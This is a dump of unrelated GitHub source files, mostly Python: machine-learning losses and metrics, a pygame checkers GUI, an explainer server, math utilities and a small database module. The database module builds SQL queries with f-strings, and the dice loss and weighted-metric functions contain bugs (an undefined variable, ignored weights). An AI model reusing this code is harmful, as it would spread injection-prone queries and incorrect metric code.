size_average\n\n def forward(self, pred, target):\n # 如果模型最后没有 nn.Sigmoid(),那么这里就需要对预测结果计算一次 Sigmoid 操作\n # pred = nn.Sigmoid()(pred)\n\n # 展开 pred 和 target,此时 pred.size = target.size = (BatchSize,1)\n pred = pred.view(-1,1)\n target = target.view(-1,1)\n\n # 此处将预测样本为正负的概率都计算出来,此时 pred.size = (BatchSize,2)\n pred = torch.cat((1-pred,pred),dim=1)\n\n # 根据 target 生成 mask,即根据 ground truth 选择所需概率\n # 用大白话讲就是:\n # 当标签为 1 时,我们就将模型预测该样本为正类的概率代入公式中进行计算\n # 当标签为 0 时,我们就将模型预测该样本为负类的概率代入公式中进行计算\n class_mask = torch.zeros(pred.shape[0],pred.shape[1]).cuda()\n # 这里的 scatter_ 操作不常用,其函数原型为:\n # scatter_(dim,index,src)->Tensor\n # Writes all values from the tensor src into self at the indices specified in the index tensor.\n # For each value in src, its output index is specified by its index in src for dimension != dim and by the corresponding value in index for dimension = dim.\n class_mask.scatter_(1, target.view(-1, 1).long(), 1.)\n\n # 利用 mask 将所需概率值挑选出来\n probs = (pred * class_mask).sum(dim=1).view(-1,1)\n probs = probs.clamp(min=0.0001,max=1.0)\n\n # 计算概率的 log 值\n log_p = probs.log()\n\n # 根据论文中所述,对 alpha 进行设置(该参数用于调整正负样本数量不均衡带来的问题)\n alpha = torch.ones(pred.shape[0],pred.shape[1]).cuda()\n alpha[:,0] = alpha[:,0] * (1-self.alpha)\n alpha[:,1] = alpha[:,1] * self.alpha\n alpha = (alpha * class_mask).sum(dim=1).view(-1,1)\n\n # 根据 Focal Loss 的公式计算 Loss\n batch_loss = -alpha*(torch.pow((1-probs), self.gamma))*log_p\n\n # Loss Function的常规操作,mean 与 sum 的区别不大,相当于学习率设置不一样而已\n if self.size_average:\n loss = batch_loss.mean()\n else:\n loss = batch_loss.sum()\n\n return loss\n\n# 针对 Multi-Label 任务的 Focal Loss\nclass FocalLoss_MultiLabel(nn.Module):\n def __init__(self, alpha=0.25, gamma=2, size_average=True):\n super(FocalLoss_MultiLabel, self).__init__()\n self.alpha = alpha\n self.gamma = gamma\n self.size_average = size_average\n\n def forward(self, pred, target):\n criterion = FocalLoss(self.alpha,self.gamma,self.size_average)\n loss = torch.zeros(1,target.shape[1]).cuda()\n\n # 对每个 Label 计算一次 Focal Loss\n for label in range(target.shape[1]):\n batch_loss = criterion(pred[:,label],target[:,label])\n loss[0,label] = batch_loss.mean()\n\n # Loss Function的常规操作\n if self.size_average:\n loss = loss.mean()\n else:\n loss = loss.sum()\n\n return loss\n\nclass BinaryDiceLoss(nn.Module):\n def __init__(self):\n super(BinaryDiceLoss, self).__init__()\n\n def forward(self, input, targets):\n # 获取每个批次的大小 N\n N = targets.size()[0]\n # 平滑变量\n smooth = 1\n # 将宽高 reshape 到同一纬度\n input_flat = input.view(N, -1)\n targets_flat = targets.view(N, -1)\n\n # 计算交集\n intersection = input_flat * targets_flat\n N_dice_eff = (2 * intersection.sum(1) + smooth) / (input_flat.sum(1) + targets_flat.sum(1) + smooth)\n # 计算一个批次中平均每张图的损失\n loss = 1 - dice_eff.sum() / N\n return loss\n\n\n\ndef classwise_iou(output, gt):\n \"\"\"\n Args:\n output: torch.Tensor of shape (n_batch, n_classes, image.shape)\n gt: torch.LongTensor of shape (n_batch, image.shape)\n \"\"\"\n dims = (0, *range(2, len(output.shape)))\n gt = torch.zeros_like(output).scatter_(1, gt[:, None, :], 1)\n intersection = output*gt\n union = output + gt - intersection\n classwise_iou = (intersection.sum(dim=dims).float() + EPSILON) / (union.sum(dim=dims) + EPSILON)\n\n return classwise_iou\n\n\ndef classwise_f1(output, gt):\n \"\"\"\n Args:\n output: torch.Tensor of shape (n_batch, n_classes, image.shape)\n gt: torch.LongTensor of shape (n_batch, image.shape)\n \"\"\"\n\n epsilon = 1e-20\n n_classes = output.shape[1]\n\n output = torch.argmax(output, dim=1)\n true_positives = torch.tensor([((output == i) * (gt == i)).sum() for i in range(n_classes)]).float()\n selected = torch.tensor([(output == i).sum() for i in range(n_classes)]).float()\n relevant = torch.tensor([(gt == i).sum() for i in range(n_classes)]).float()\n\n precision = (true_positives + epsilon) / (selected + epsilon)\n recall = (true_positives + epsilon) / (relevant + epsilon)\n classwise_f1 = 2 * (precision * recall) / (precision + recall)\n\n return classwise_f1\n\n\ndef make_weighted_metric(classwise_metric):\n \"\"\"\n Args:\n classwise_metric: classwise metric like classwise_IOU or classwise_F1\n \"\"\"\n\n def weighted_metric(output, gt, weights=None):\n\n # dimensions to sum over\n dims = (0, *range(2, len(output.shape)))\n\n # default weights\n if weights == None:\n weights = torch.ones(output.shape[1]) / output.shape[1]\n else:\n # creating tensor if needed\n if len(weights) != output.shape[1]:\n raise ValueError(\"The number of weights must match with the number of classes\")\n if not isinstance(weights, torch.Tensor):\n weights = torch.tensor(weights)\n # normalizing weights\n weights /= torch.sum(weights)\n\n classwise_scores = classwise_metric(output, gt).cpu()\n\n return classwise_scores \n\n return weighted_metric\n\n\njaccard_index = make_weighted_metric(classwise_iou)\nf1_score = make_weighted_metric(classwise_f1)\n\n\nif __name__ == '__main__':\n output, gt = torch.zeros(3, 2, 5, 5), torch.zeros(3, 5, 5).long()\n print(classwise_iou(output, gt))\n","repo_name":"ShiHuiwen-creat/OstT","sub_path":"metrics.py","file_name":"metrics.py","file_ext":"py","file_size_in_byte":13432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"30592566561","text":"import pygame\nimport gui.variablen as var\nimport gui.events as evnt\nfrom zuege.berechnen import spielStand\n\n\n# Zeichnet den Seitenbalken\ndef drawSeitenleiste(feld, spieler, mainObjekt):\n global wiederholt\n\n # Dame-Bild\n aktDameBild = var.dameBild if not var.resetting else var.dameBildGold\n var.gameScreen.blit(aktDameBild, (var.GAMEWEITE, 0))\n\n # Spielstand holen\n sieger, steineComputer, _, steineSpieler, _ = spielStand(feld, spieler)\n\n # rausgeworfene Steine zeichnen\n for i in range(12):\n\n # Computer\n bild = var.figurBlauSeite if not(\n i - steineComputer < 0) else var.figurBlauTransSeite\n\n xPos = var.GAMEWEITE+i % var.teiler * var.SEITENWEITE // var.teiler\n yPos = var.GAMEHOEHE-(var.SEITENWEITE//var.teiler)*(12//var.teiler) + \\\n i // var.teiler * (var.SEITENWEITE // var.teiler)\n\n var.gameScreen.blit(bild, (xPos, yPos))\n\n # Spieler\n bild = var.figurGruenSeite if not(\n i - steineSpieler < 0) else var.figurGruenTransSeite\n\n xPos = var.GAMEWEITE+i % var.teiler * var.SEITENWEITE // var.teiler\n yPos = var.SEITENWEITE + i // var.teiler * \\\n (var.SEITENWEITE // var.teiler)\n\n var.gameScreen.blit(bild, (xPos, yPos))\n\n # Button fuer Minimax\n # Blau\n minMaxButton = var.miniMaxOn if mainObjekt.getMiniMaxOnBlau() else var.miniMaxOff\n var.gameScreen.blit(minMaxButton, (var.GAMEWEITE, var.GAMEHOEHE//2.5))\n\n # Schrift fuer Minimax\n var.gameScreen.blit(var.miniMaxSchriftBlau, (var.GAMEWEITE +\n int(var.SEITENWEITE*0.4), var.GAMEHOEHE//2.5))\n\n # Gruen\n minMaxButton = var.miniMaxOn if mainObjekt.getMiniMaxOnGruen() else var.miniMaxOff\n var.gameScreen.blit(minMaxButton, (var.GAMEWEITE, var.GAMEHOEHE//1.3))\n\n # Schrift fuer Minimax\n var.gameScreen.blit(var.miniMaxSchriftGruen, (var.GAMEWEITE +\n int(var.SEITENWEITE*0.4), var.GAMEHOEHE//1.3))\n\n # Zug zurueck Button\n var.gameScreen.blit(var.zurueckButton, (var.GAMEWEITE +\n int(var.SEITENWEITE*0.4), var.GAMEHOEHE//1.45))\n\n # Gewinner zeichnen\n if sieger != None and not var.resetting:\n var.wiederholt += 1\n if var.wiederholt > 1:\n siegerSpieler = var.gruenSieger if sieger else var.blauSieger\n var.gameScreen.blit(\n siegerSpieler, (var.GAMEWEITE, var.GAMEHOEHE//1.8))\n else:\n var.wiederholt = 0\n\n\n# Zeichnet das Spielfeld\ndef draw(feld, feldgroesse, spieler, mainObjekt):\n\n feldWeite = var.GAMEWEITE // feldgroesse\n feldHoehe = var.GAMEHOEHE // feldgroesse\n\n var.gameScreen.fill((255, 255, 255))\n\n # Felder im Hintergrund zeichnen (unterste Ebene)\n for y in range(feldgroesse):\n for x in range(feldgroesse):\n\n # Feldfarbe\n feldFarbe = var.WHITE if feld[y][x].isWhite() else var.BLACK\n if feld[y][x].isClicked():\n feldFarbe = var.GRAU\n pygame.draw.rect(var.gameScreen, feldFarbe, (x*feldWeite,\n y*feldHoehe, feldWeite, feldHoehe))\n\n # Zug moeglich\n if len(feld[y][x].getZuege()) > 0:\n\n # Rechteck um Feld zeichnen\n pygame.draw.line(var.gameScreen, var.LINIENFARBE, (x*feldWeite, y*feldHoehe),\n (x*feldWeite+feldWeite-var.LINIENDICKE//2, y*feldHoehe), var.LINIENDICKE)\n pygame.draw.line(var.gameScreen, var.LINIENFARBE, (x*feldWeite+feldWeite-var.LINIENDICKE//2, y*feldHoehe),\n (x*feldWeite+feldWeite-var.LINIENDICKE//2, y*feldHoehe+feldHoehe), var.LINIENDICKE)\n pygame.draw.line(var.gameScreen, var.LINIENFARBE, (x*feldWeite, y*feldHoehe+feldHoehe-var.LINIENDICKE//2),\n (x*feldWeite+feldWeite-var.LINIENDICKE//2, y*feldHoehe+feldHoehe-var.LINIENDICKE//2), var.LINIENDICKE)\n pygame.draw.line(var.gameScreen, var.LINIENFARBE, (x*feldWeite, y*feldHoehe),\n (x*feldWeite, y*feldHoehe+feldHoehe), var.LINIENDICKE)\n\n # Linie zu Ziel zeichnen (mittlere Ebene)\n for y in range(feldgroesse):\n for x in range(feldgroesse):\n if feld[y][x].isClicked():\n for index in range(len(feld[y][x].getZuege())):\n punkteGui = []\n\n # X,Y Wert von 0-7\n punktePosition = feld[y][x].getPunkte(index)\n\n # Punkte werden zu Feldgroeße skaliert\n for p in punktePosition:\n punkteGui.append(\n (p[0]*feldWeite+feldWeite//2, p[1]*feldHoehe+feldHoehe//2))\n\n # Linie zu Punkten zeichnen\n linienFarbe = var.GRUEN if feld[y][x].isPlayer(\n ) else var.BLAU\n pygame.draw.lines(var.gameScreen, linienFarbe, False,\n punkteGui, width=var.GAMEWEITE//100)\n\n # Steine und Punkte in Felder zeichnen (oberste Ebene)\n for y in range(feldgroesse):\n for x in range(feldgroesse):\n\n # Spielfigur\n if feld[y][x].isComputer():\n if feld[y][x].isDame():\n var.gameScreen.blit(\n var.dameBlau, (x*feldWeite, y*feldHoehe))\n else:\n var.gameScreen.blit(\n var.figurBlau, (x*feldWeite, y*feldHoehe))\n elif feld[y][x].isPlayer():\n if feld[y][x].isDame():\n var.gameScreen.blit(\n var.dameGruen, (x*feldWeite, y*feldHoehe))\n else:\n var.gameScreen.blit(\n var.figurGruen, (x*feldWeite, y*feldHoehe))\n\n # Nachbarn markieren\n if feld[y][x].isMoeglicherZug():\n\n # Kreis in Zentrum des Feldes zeichnen\n pygame.draw.circle(\n var.gameScreen, var.GRAU, (x*feldWeite+feldWeite//2, y*feldHoehe+feldHoehe//2), feldWeite//6)\n\n # Seitenfenster mit Anzeige etc.\n drawSeitenleiste(feld, spieler, mainObjekt)\n\n pygame.display.update()\n\n evnt.checkAbbruch(feldgroesse, feld)\n","repo_name":"Leon2307/Checkers-Projekt","sub_path":"gui/draw.py","file_name":"draw.py","file_ext":"py","file_size_in_byte":6340,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"948215049","text":"import logging\nimport os\nimport kfserving\nimport dill\nfrom alibiexplainer.server import server_parser, ExplainerServer\nfrom alibiexplainer import AlibiExplainer, Protocol\nfrom alibiexplainer.explainer import ExplainerMethod # pylint:disable=no-name-in-module\nfrom alibiexplainer.constants import SELDON_LOGLEVEL\nfrom alibiexplainer.parser import parse_args\nimport sys\nfrom tensorflow import keras\n\nlogging.basicConfig(level=SELDON_LOGLEVEL)\nEXPLAINER_FILENAME = \"explainer.dill\"\nKERAS_MODEL = \"model.h5\"\n\n\ndef main():\n args, extra = parse_args(sys.argv[1:])\n # Pretrained Alibi explainer\n alibi_model = None\n keras_model = None\n if args.storage_uri is not None:\n path = kfserving.Storage.download(args.storage_uri)\n alibi_model = os.path.join(path, EXPLAINER_FILENAME)\n if os.path.exists(alibi_model):\n with open(alibi_model, \"rb\") as f:\n logging.info(\"Loading Alibi model\")\n alibi_model = dill.load(f)\n else:\n keras_path = os.path.join(path, KERAS_MODEL)\n if os.path.exists(keras_path):\n with open(keras_path, \"rb\") as f:\n logging.info(\"Loading Keras model\")\n keras_model = keras.models.load_model(keras_path)\n\n explainer = AlibiExplainer(\n args.model_name,\n args.predictor_host,\n ExplainerMethod(args.command),\n extra,\n alibi_model,\n Protocol(args.protocol),\n args.tf_data_type,\n keras_model,\n )\n explainer.load()\n ExplainerServer(args.http_port).start(explainer)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"karthiklinux/crescendo-jenkins-x-seldon","sub_path":"components/alibi-explain-server/alibiexplainer/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":1634,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"73806731943","text":"b = int(input())\na = [list(b) for b in input().split()]\nnum = [0]*b\nfor j in range(b):\n count = 0\n for i in range(len(a[j])):\n if a[j][i] == 'O':\n count+=1\n num[j]+=count\n else:\n count=0\n\nprint(num)","repo_name":"chloe1129/algorithm_work","sub_path":"백준/temp/oxquiz.py","file_name":"oxquiz.py","file_ext":"py","file_size_in_byte":251,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"15495245533","text":"class Solution:\n def __init__(self):\n import time\n\n start = time.time()\n self.answer = self.solve()\n elapse = time.time() - start\n if elapse > 1:\n self.time = f\"{elapse:.1f}s\"\n else:\n self.time = f\"{elapse*1000:.1f}ms\"\n\n def solve(self, N=1000):\n return sum([i for i in range(0, N) if i % 3 == 0 or i % 5 == 0])\n\n def solve2(self, N=1000):\n arithmetic_sum = lambda x, p: p * (x // p) * (x // p + 1) // 2\n return (\n arithmetic_sum(N - 1, 3)\n + arithmetic_sum(N - 1, 5)\n - arithmetic_sum(N - 1, 15)\n )\n\n\nif __name__ == \"__main__\":\n solver = Solution()\n print(solver.answer, solver.time)\n","repo_name":"kan-fu/Project-Euler-Solution","sub_path":"euler0-50/euler1.py","file_name":"euler1.py","file_ext":"py","file_size_in_byte":725,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"16282436372","text":"# -*- coding: utf-8 -*-\nimport numpy as np\nimport tensorflow as tf\nimport warnings\nfrom typing import List\n\nnumeric_tuple = (int, float, np.float32, np.float64, np.longdouble)\n\n\ndef coupled_logarithm(value: [int, float, np.ndarray, tf.Tensor],\n kappa: [int, float] = 0.0,\n dim: int = 1\n ) -> [float, np.ndarray, tf.Tensor]:\n \"\"\"\n Generalization of the logarithm function, which defines smooth\n transition to power functions.\n Parameters\n ----------\n value : Input variable in which the coupled logarithm is applied to.\n Accepts int, float, np.ndarray and tf.Tensor data types.\n kappa : Coupling parameter which modifies the coupled logarithm function.\n Accepts int and float data types.\n dim : The dimension (or rank) of value. If value is scalar, then dim = 1.\n Accepts only int data type.\n \"\"\"\n # convert value into np.ndarray (if scalar) to keep consistency\n value = np.array(value) if isinstance(value, numeric_tuple) else value\n assert isinstance(value, (np.ndarray, tf.Tensor)), \"value must be an int, float, np.ndarray or tf.Tensor.\"\n assert 0. not in value, \"value must not be or contain zero(s).\"\n if kappa == 0.:\n coupled_log_value = np.log(value) # divide by 0 if x == 0\n else:\n coupled_log_value = (1. / kappa) * (value**(kappa / (1. + dim*kappa)) - 1.)\n return coupled_log_value\n\n\ndef coupled_exponential(value: [int, float, np.ndarray],\n kappa: float = 0.0,\n dim: int = 1\n ) -> [float, np.ndarray]:\n \"\"\"\n Generalization of the exponential function.\n Parameters\n ----------\n value : [float, np.ndarray]\n Input values in which the coupled exponential is applied to.\n kappa : float,\n Coupling parameter which modifies the coupled exponential function. \n The default is 0.0.\n dim : int, optional\n The dimension of x, or rank if x is a tensor. The default is 1.\n Returns\n -------\n float\n The coupled exponential values.\n \"\"\"\n #Temporarily turn off warnings for invalid powers\n warnings.simplefilter('ignore')\n \n # convert number into np.ndarray to keep consistency\n isinstance(value, (int, float, ))\n value = np.array(value) if isinstance(value, numeric_tuple) else value\n assert isinstance(value, np.ndarray), \"value must be an int, float, or np.ndarray.\"\n # assert 0 not in value, \"value must not be or contain np.ndarray zero(s).\"\n \n assert isinstance(dim, int) and dim >= 0, \"dim must be an integer greater than or equal to 0.\"\n # check that -1/d <= kappa\n # assert -1/dim <= kappa, \"kappa must be greater than or equal to -1/dim.\"\n\n if kappa == 0:\n # Does not have to be vectorized\n coupled_exp_value = np.exp(value)\n else:\n #coupled_exp_value = np.vectorize(_coupled_exponential_scalar)(value, kappa, dim)\n \n #Positive base, function operates as normal \n condition_1 = (1 + kappa*value) > 0\n \n #Negative base and positive exponent should return 0\n condition_2 = ((1 + kappa*value) <= 0) & (((1 + dim*kappa)/kappa) > 0)\n \n coupled_exp_value = np.where(condition_1, (1 + kappa*value)**((1+dim*kappa)/kappa), float('inf'))\n coupled_exp_value = np.where(condition_2, 0, coupled_exp_value)\n \n #Turn warnings back on\n warnings.simplefilter('default')\n \n return coupled_exp_value\n\n\ndef coupled_product(value: List[float], kappa: float = 0.0, dims: int = 1) -> float:\n \"\"\"\n Coupled product function\n \n Parameters\n ----------\n value: List[float]\n The values to which the coupled product function is applied to.\n Usually a list of probabilities.\n kappa : float,\n Coupling parameter which modifies the coupled product function. \n The default is 0.0.\n dims : \n The dimensionality of the inputs when viewed as probability distributions.\n The default is 1 for all inputs.\n Can accept a list of dims but needs to be the same length as value.\n Returns\n -------\n float\n The result of the coupled product function.\n \"\"\"\n \n #Scalar input for dims\n if type(dims) ==int:\n dims = [dims]*len(value)\n else:\n assert len(value)==len(dims), \"value and dims must have the same length!\"\n \n #Dim input for outer exponent should be equal to sum of dims\n D = np.sum(dims)\n \n exponent_temp = []\n \n #Calculating coupled_logarithm for each input\n for val, dim in zip(value, dims):\n log_out = coupled_logarithm(value=val, kappa=kappa, dim=dim)\n exponent_temp.append(log_out)\n \n #Summing the inputs to be fed into the coupled_exponential\n exponent = np.sum(exponent_temp) \n \n coupled_product_value = coupled_exponential(value=exponent, kappa=kappa, dim=int(D))\n \n return coupled_product_value\n\n\ndef log_generalized_mean(values: np.ndarray, r: float = 1.0, weights: np.ndarray = None) -> float:\n \"\"\"\n This function calculates the log generalized mean of a 1-D array of non- \n negative real numbers using the coupled logarithm and exponential functions.\n \n Parameters\n ----------\n values : np.ndarray\n DESCRIPTION : A 1-D numpy array (row vector) of non-negative numbers\n for which we are calculating the generalized mean.\n r : float, optional\n DESCRIPTION : The risk bias and the power of the generalized mean. \n The default is 1.0 (Arithmetric Mean).\n weights : np.ndarray, optional\n DESCRIPTION : A 1-D numpy array of the weights for each value. \n The default is None, which triggers a conditional to use equal weights.\n Returns gen_mean\n -------\n float\n DESCRIPTION : The coupled log generalized mean.\n \"\"\"\n\n assert type(values) == np.ndarray, \"values must be a 1-D numpy ndarray.\"\n if len(values.shape) != 1:\n assert ((len(values.shape) == 2) \n & ((values.shape[0] == 1)\n | (values.shape[1] == 1))), \"values must be a 1-D numpy ndarray.\"\n assert (values <= 0).sum() == 0, \"all numbers in values must be greater than 0.\"\n assert ((type(r) == int) | (type(r) == float) | (type(r) == np.int32 ) \n | (type(r) == np.float32) | (type(r) == np.int64) \n | (type(r) == np.float64)), \"r must be a numeric data type, like a float or int.\"\n assert ((type(weights) == type(None))\n | (type(weights) == np.ndarray)), \"weights must either be None or 1-D numpy ndarray.\"\n \n # If weights equals None, equally weight all observations.\n if type(weights) == type(None):\n weights = weights or np.ones(len(values))\n \n # Calculate the log of the generalized mean by taking the dot product of the\n # weights vector and the vector of the coupled logarithm of the values and\n # divide the result by the sum of the the weights.\n log_gen_mean = np.dot(weights, coupled_logarithm(values, kappa=r, dim=0)) / np.sum(weights)\n \n return log_gen_mean\n \n # # Calculate the generalized mean by exponentiating the log-generalized mean.\n # gen_mean = coupled_exponential(log_gen_mean, kappa=r, dim=0)\n \n # # Return the generalized mean.\n # return gen_mean\n\n\ndef generalized_mean(values: np.ndarray, r: float = 1.0, weights: np.ndarray = None) -> float:\n \"\"\"\n This function calculates the generalized mean of a 1-D array of non- \n negative real numbers using the coupled logarithm and exponential functions.\n \n Parameters\n ----------\n values : np.ndarray\n DESCRIPTION : A 1-D numpy array (row vector) of non-negative numbers\n for which we are calculating the generalized mean.\n r : float, optional\n DESCRIPTION : The risk bias and the power of the generalized mean. \n The default is 1.0 (Arithmetric Mean).\n weights : np.ndarray, optional\n DESCRIPTION : A 1-D numpy array of the weights for each value. \n The default is None, which triggers a conditional to use equal weights.\n Returns gen_mean\n -------\n float\n DESCRIPTION : The coupled generalized mean.\n \"\"\"\n\n # Get the log generalized mean\n log_gen_mean = log_generalized_mean(values, r, weights)\n \n # Calculate the generalized mean by exponentiating the log-generalized mean.\n gen_mean = coupled_exponential(log_gen_mean, kappa=r, dim=0)\n \n # Return the generalized mean.\n return gen_mean\n\n\n# inner function that takes in the value on a scalar-by-sclar basis\n'''\ndef _coupled_exponential_scalar(value, kappa, dim):\n if (1 + kappa*value) > 0:\n return (1 + kappa*value)**((1 + dim*kappa)/kappa)\n elif ((1 + dim*kappa)/kappa) > 0:\n return 0.\n else:\n return float('inf')\n'''","repo_name":"Photrek/Nonlinear-Statistical-Coupling","sub_path":"nsc/math/function.py","file_name":"function.py","file_ext":"py","file_size_in_byte":8867,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"36"} +{"seq_id":"2688685468","text":"import sys\r\nfrom PyQt5 import QtCore, QtGui, QtWidgets\r\nfrom PyQt5.QtGui import QPixmap\r\nfrom ui import Ui_MainWindow\r\nimport main\r\nfrom config import PATH\r\n\r\n\r\nclass QRgen(QtWidgets.QMainWindow):\r\n def __init__(self):\r\n super(QRgen, self).__init__()\r\n self.ui = Ui_MainWindow()\r\n self.ui.setupUi(self)\r\n self.init_ui()\r\n\r\n def init_ui(self):\r\n self.setWindowTitle('QRgen')\r\n self.ui.pushButton.clicked.connect(self.generate_qr)\r\n\r\n def generate_qr(self):\r\n name = self.ui.lineEdit.text()\r\n text = self.ui.lineEdit_2.text()\r\n main.generate(name, text)\r\n self.ui.label.setPixmap(QPixmap(f\"{PATH}{name}.png\"))\r\n\r\n\r\nif __name__ == \"__main__\":\r\n app = QtWidgets.QApplication([])\r\n application = QRgen()\r\n application.show()\r\n\r\n sys.exit(app.exec())\r\n","repo_name":"sbuw/QRgen","sub_path":"gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":837,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"8920097461","text":"# O programa que usa a class Leitor do arquivo classes\n\nfrom time import sleep\nfrom classes import Leitor\n\n\n\nwhile True:\n print('=' * 40 + '\\n')\n try:\n arquivo = str(input('Nome do arquivo por favor: '))\n ar = arquivo\n if '.txt' not in arquivo:\n arquivo = arquivo + '.txt'\n arq = Leitor(arquivo)\n arq.mostrar()\n except:\n print()\n print('Erro, não foi possível abrir o arquivo!')\n sleep(2)\n print(f'Tente novamente, repare se o nome é esse mesmo: {ar}.')\n sleep(2)\n\n while True:\n continuar = str(input('Deseja ler outro arquivo? [sim/não] ')).lower()\n if continuar in 'simnãonao' and 's'in continuar or 'n' in continuar:\n break\n\n if continuar in 'nãonao' and 'n' in continuar:\n print('Saindo....')\n sleep(1)\n break\n \n\n \n \n","repo_name":"EduardoMouraSilva/Desafios","sub_path":"leitor_txt/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":878,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"12991143303","text":"from collections import namedtuple\nfrom typing import List, NamedTuple\nfrom .exec import execute_and_fetchall, execute_and_commit\nfrom .account import username_valid\n\nSubscription = namedtuple('Subscription', 'id, username, amount, chat_id')\n\n\ndef get_subscriptions_by_chat_id(chat_id: int) -> List[NamedTuple]:\n query = f\"\"\"\n SELECT id, username, amount, chat_id\n FROM subscription\n WHERE chat_id = {chat_id}\n \"\"\"\n rows = execute_and_fetchall(query)\n return [Subscription(*row) for row in rows]\n\n\ndef insert_subscription(username: str, amount: float, chat_id: int) -> None:\n if not username_valid(username):\n return\n\n query = f\"\"\"\n INSERT INTO subscription (username, amount, chat_id)\n VALUES ('{username}', '{amount}', '{chat_id}')\n ON CONFLICT DO NOTHING\n \"\"\"\n execute_and_commit(query)\n\n\ndef delete_subscription_by_id(id: int) -> None:\n query = f\"\"\"\n DELETE FROM subscription\n WHERE id = {id}\n \"\"\"\n execute_and_commit(query)\n","repo_name":"OpenSUTD/evs-notifications","sub_path":"apis/db/src/psql/subscription.py","file_name":"subscription.py","file_ext":"py","file_size_in_byte":1025,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"} +{"seq_id":"9786546366","text":"oldFileName = input(\"请输入要备份的文件的名称:\")\n\n# 打开旧文件\noldFile = open(oldFileName, \"r\")\n\n# 如果可以打开\nif oldFile:\n # 读取最后一个 . 的索引\n fileFlagNum = oldFileName.rfind('.')\n if fileFlagNum > 0:\n # 获取后缀,将索引处到末尾的内容,赋值给 fileFlag, 即后缀\n fileFlag = oldFileName[fileFlagNum:]\n\n # 新文件的名字\n newFileName = oldFileName[:fileFlagNum] + '-附件' + fileFlag\n\n # 创建新的文件\n newFile = open(newFileName, 'w')\n\n # 把旧文件的内容,一行一行复制到新文件中\n for lineContent in oldFile.readlines():\n newFile.write(lineContent)\n\n# 关闭文件\noldFile.close()\nnewFile.close()","repo_name":"ilaoda/python","sub_path":"07_文件操作/07_3_读写应用,制作文件备份.py","file_name":"07_3_读写应用,制作文件备份.py","file_ext":"py","file_size_in_byte":739,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"37835297506","text":"import cv2\r\nimport numpy as np\r\nimport tensorflow as tf\r\n\r\ncam=cv2.VideoCapture(0)\r\n\r\nmodel=tf.keras.models.load_model('keras_model.h5')\r\n\r\nwhile True:\r\n ret,frame=cam.read()\r\n img=cv2.resize(frame,(224,224))\r\n img=np.array(img,dtype=np.float32)\r\n img=np.expand_dims(img,axis=0)\r\n normalisedImg=img/255.0\r\n prediction=model.predict(normalisedImg)\r\n print(\"Prediction:\",prediction)\r\n frame=cv2.flip(frame,1)\r\n\r\n cv2.imshow(\"cam\",frame)\r\n if cv2.waitKey(2)==32:\r\n break\r\n\r\ncv2.destroyAllWindows()\r\ncam.release()","repo_name":"NiharikaYG07/class-124","sub_path":"identify.py","file_name":"identify.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"70763052585","text":"import pandas as pd\nimport numpy as np\n\n\nfrom django.core.management import BaseCommand\n\n\nfrom Freedom_Index.models import Freedom\nfrom django.conf import settings\nclass PandasOperations():\n\n def __init__(self):\n self.csv_path = settings.EFI_DATA + '\\economic_freedom_index.csv'\n\n def change_ppl_to_millions(self, row):\n row = row.strip()\n if \" \" in row:\n row = float(''.join(row.split(\" \")[0])) / 1000000\n else:\n row = float(row)\n return np.around(row, decimals=2)\n\n def sanitize_data(self):\n efi = pd.read_csv(self.csv_path, encoding='latin-1')\n\n efi.CountryID = efi.CountryID.astype(float)\n efi['Region'] = efi.Region.astype('category')\n efi.columns = efi.columns.str.replace('%', 'pct').str.strip().str.replace(' ', '_').str.lower().str.replace('(', '').str.replace(')', '').str.replace(r\"[\\\"\\',]\", '')\n efi.gdp_per_capita_ppp = efi.gdp_per_capita_ppp.replace('[\\$,]', '', regex=True).str.split(' ').str[0].astype(float)\n efi = efi.rename(index=str, columns={'gdp_per_capita_ppp': 'gdp_per_capita_ppp_USD'})\n efi.population_millions = efi.population_millions.str.replace(',', '').apply(self.change_ppl_to_millions)\n efi.unemployment_pct = efi.unemployment_pct.str.split(' ').str[0].astype(float)\n efi.fdi_inflow_millions = efi.fdi_inflow_millions.str.replace(',', '').astype(float)\n efi.gdp_billions_ppp = efi.gdp_billions_ppp.replace('[\\$,]', '', regex=True).str.split(' ').str[0].astype(float).fillna(0)\n\n num_cols = list(efi.select_dtypes(include='number'))\n str_cols = list(efi.select_dtypes(exclude=['number', 'category']))\n efi[num_cols] = efi[num_cols].fillna(0)\n\n efi[str_cols] = efi[str_cols].fillna('Not available')\n\n return efi\n\nclass Command(BaseCommand,Freedom):\n\n def __init__(self):\n self.pandas_operations = PandasOperations()\n\n def execute(self, *args, **options):\n efi = self.pandas_operations.sanitize_data()\n for country in efi.iterrows():\n country = Freedom.objects.create(\n countryid = country[1].countryid,\n country_name = country[1].country_name,\n webname = country[1].webname,\n region = country[1].region,\n world_rank = country[1].world_rank,\n region_rank = country[1].region_rank,\n twenty_nineteen_score = country[1]['2019_score'],\n property_rights = country[1].property_rights,\n judical_effectiveness = country[1].judical_effectiveness,\n government_integrity = country[1].government_integrity,\n tax_burden = country[1].tax_burden,\n govt_spending = country[1].govt_spending,\n fiscal_health = country[1].fiscal_health,\n business_freedom = country[1].business_freedom,\n labor_freedom = country[1].labor_freedom,\n monetary_freedom = country[1].monetary_freedom,\n trade_freedom = country[1].trade_freedom,\n investment_freedom = country[1].investment_freedom,\n 